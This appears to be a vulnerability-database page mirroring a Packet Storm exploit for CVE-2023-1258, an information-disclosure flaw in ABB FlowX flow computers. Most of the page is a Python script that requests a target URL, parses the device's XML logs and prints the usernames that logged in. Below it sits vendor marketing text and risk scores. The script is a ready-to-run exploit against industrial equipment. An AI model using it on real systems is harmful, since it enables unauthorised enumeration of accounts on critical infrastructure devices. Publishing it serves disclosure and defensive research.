Lucene search
K

ABB FlowX 4.00 Information Disclosure

🗓️ 20 Jul 2023 00:00:00Reported by Paul SmithType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 259 Views

ABB FlowX v4.00 Information Disclosur

Related
Code
`# Exploit Title: ABB FlowX v4.00 - Exposure of Sensitive Information  
# Date: 2023-03-31  
# Exploit Author: Paul Smith  
# Vendor Homepage: https://new.abb.com/products/measurement-products/flow-computers/spirit-it-flow-x-series  
# Version: ABB Flow-X all versions before V4.00  
# Tested on: Kali Linux  
# CVE: CVE-2023-1258  
  
  
#!/usr/bin/python  
import sys  
import re  
from bs4 import BeautifulSoup as BS  
import lxml  
import requests  
  
# Set the request parameter  
url = sys.argv[1]  
  
  
def dump_users():  
response = requests.get(url)  
  
# Check for HTTP codes other than 200  
if response.status_code != 200:  
print('Status:', response.status_code, 'Headers:', response.headers, 'Error Response:',response.text)  
exit()  
  
# Decode the xml response into dictionary and use the data  
data = response.text  
soup = BS(data, features="xml")  
logs = soup.find_all("log")  
for log in logs:  
test = re.search('User (.*?) logged in',str(log))  
if test:  
print(test.group(0))  
def main():  
dump_users()  
  
  
if __name__ == '__main__':  
main()  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Jul 2023 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.15.3
EPSS0.0388
SSVC
259